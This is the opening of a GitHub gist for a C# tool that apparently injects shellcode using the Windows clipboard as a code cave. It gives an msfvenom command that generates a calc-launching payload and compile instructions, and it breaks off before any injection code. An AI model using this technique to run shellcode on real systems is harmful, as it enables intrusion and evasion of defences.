Skip to content

Instantly share code, notes, and snippets.

View divinehawk's full-sized avatar

DivineHawk divinehawk

View GitHub Profile
@divinehawk
divinehawk / ClippyShellcodeInject.cs
Created November 22, 2021 21:56
Clipboard Shellcode Injection
// Using the clipboard as your code cave.
// Generate your shellcode with msfvenom or whatever
// Example: msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o <outputfile.bin>
// Compile: C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\ClippyShellcodeInject.cs
using System;
using System.IO;
using System.Runtime.InteropServices;
namespace ClippySCInject